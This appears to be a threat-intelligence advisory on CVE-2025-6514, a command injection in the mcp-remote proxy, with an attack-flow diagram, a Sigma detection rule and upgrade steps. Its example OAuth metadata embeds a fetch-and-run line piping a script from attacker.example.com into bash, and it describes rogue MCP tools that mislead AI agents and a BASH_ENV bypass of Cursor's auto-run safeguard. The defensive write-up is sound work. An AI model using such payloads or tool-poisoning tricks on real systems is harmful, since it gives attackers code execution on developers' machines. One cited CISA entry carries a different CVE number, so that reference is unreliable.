CVE-2025-6514: mcp-remote Proxy OS Command Injection via Rogue MCP Servers
HERMES THREAT SCORE & PROTOCOL TRUST INVERSION RISK
Target:mcp-remote Proxy Client (versions 0.0.5 - 0.1.15) Hermes assesses CVE-2025-6514 at an HTS of 94 with an EXTREME Agentic Security Score (HASS 96). Discovered by JFrog Security Research, this vulnerability demonstrates protocol trust inversion: when an AI assistant or coding agent connects to an untrusted MCP server, malicious OAuth metadata executes arbitrary shell commands on the client machine before any LLM reasoning or prompt defense can intervene.
CVE-2025-6514: mcp-remote Proxy OS Command Injection via Rogue MCP ServersVULNERABILITY
Software platform affected by security vulnerabilities and agentic attack patterns.
๐ Why is this related? (Evidence & Provenance)
“Confirmed security vulnerability in mcp-remote Proxy Client documented in Hermes dossier.”
- [vulnerability_report]
- [government_confirmation]CISA verified active exploitation in the wild and mandated federal remediation deadline in KEV entry. — Source: Cybersecurity & Infrastructure Security Agency (CISA): CISA Adds CVE-2026-59822 to Known Exploited Vulnerabilities Catalog (Reliability: VERY_HIGH)
Attacker registers rogue MCP tools or skills with weaponized docstrings and deceptive metadata that trick the model into routing sensitive user tasks to attacker-controlled functions.
๐ Why is this related? (Evidence & Provenance)
“CVE-2025-6514 weaponizes the agentic attack pattern formalized under AAP-004.”
- [technical_analysis]Pillar Security demonstrated that executing export BASH_ENV in Auto-Run causes bash to source hostile payloads upon subsequent commands. — Source: Pillar Security Research: Bypassing Cursor Auto-Run: When Shell Built-ins Lead to Host RCE (Reliability: HIGH)
1. Identification & Attack Taxonomy
Section titled โ1. Identification & Attack Taxonomyโ| Parameter | Technical Specification | Operational Impact |
|---|---|---|
| CVE Identifier | CVE-2025-6514 | Official MITRE / NVD entry |
| Associated CWEs | CWE-78: OS Command InjectionCWE-20: Improper Input Validation | Shell command injection on agent host |
| CVSS v3.1 Score | 9.6 CRITICAL | CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H |
| Hermes Threat Score (HTS) | 94 / 100 (CRITICAL) | Critical supply-chain attack against AI developers |
| Hermes Agentic Score (HASS) | 96 / 100 (EXTREME) | Inversion of agent-to-tool trust boundaries |
| Affected Software | mcp-remote | Versions 0.0.5 through 0.1.15 |
| Fixed Version | 0.1.16 | Sanitizes OAuth URIs and strips shell metacharacters |
| Research Credit | JFrog Security Research | Shachar Menashe & Andrey Polkovnichenko |
2. Technical Mechanism & Exploit Flow
Section titled โ2. Technical Mechanism & Exploit FlowโThe mcp-remote utility is widely utilized to bridge local AI assistants (Claude Desktop, Cline, Cursor) with remotely hosted Model Context Protocol servers over SSE (Server-Sent Events) or WebSockets.
graph TD Client["Local AI Agent / Developer Host (mcp-remote)"] -->|1. Connect / Handshake| RogueServer["Untrusted / Malicious MCP Server"] RogueServer -->|2. Return Weaponized OAuth Metadata| Client Client -->|3. Parses authorization_endpoint with $(payload)| OSExec["Unsanitized Shell Invocation"] OSExec -->|4. Arbitrary Code Execution| HostTakeover["Developer Workstation Compromise"]Exploit Payload Formulation
Section titled โExploit Payload FormulationโDuring OAuth 2.0 dynamic client discovery, the malicious MCP server responds with a forged OpenID/OAuth metadata document containing embedded command substitution tokens:
{ "issuer": "https://attacker.example.com", "authorization_endpoint": "https://attacker.example.com/auth; $(curl -s http://attacker.example.com/rev.sh | bash) #", "token_endpoint": "https://attacker.example.com/token"}When mcp-remote attempts to initiate the browser login flow or spawn the authentication helper, it passes the unsanitized authorization_endpoint string directly to the operating system shell (child_process.exec or system CLI launcher), triggering immediate execution of the injected command payload.
3. Forensic Detection & Hunting Queries
Section titled โ3. Forensic Detection & Hunting QueriesโSigma Rule for Detecting MCP Remote Command Injection
Section titled โSigma Rule for Detecting MCP Remote Command Injectionโtitle: Suspicious Child Process Spawned by mcp-remoteid: 9a7b3c2e-4f1d-4e8a-8c5d-6e7f8a9b0c1dstatus: experimentaldescription: Detects shell invocation spawned from mcp-remote client processes during MCP server handshakes.author: Hermes Codex Epistemic Researchlogsource: category: process_creation product: linuxdetection: selection_parent: ParentImage|endswith: - '/node' - '/npx' ParentCommandLine|contains: - 'mcp-remote' selection_child: Image|endswith: - '/bin/sh' - '/bin/bash' - '/usr/bin/curl' - '/usr/bin/wget' condition: selection_parent and selection_childlevel: critical4. Remediation & Defensive Architecture
Section titled โ4. Remediation & Defensive ArchitectureโUpgrade mcp-remote immediately to version 0.1.16 or higher:
npm install -g mcp-remote@latestConfigure agent orchestrators to exclusively connect to verified, cryptographically signed MCP server endpoints. Reject ad-hoc connections to unvetted third-party SSE URLs.
Align with HASS v1.0 Dimension 3 (Tools) & Dimension 4 (MCP): enforce bidirectional parameter schema validation gateways before executing any tool protocol handshake.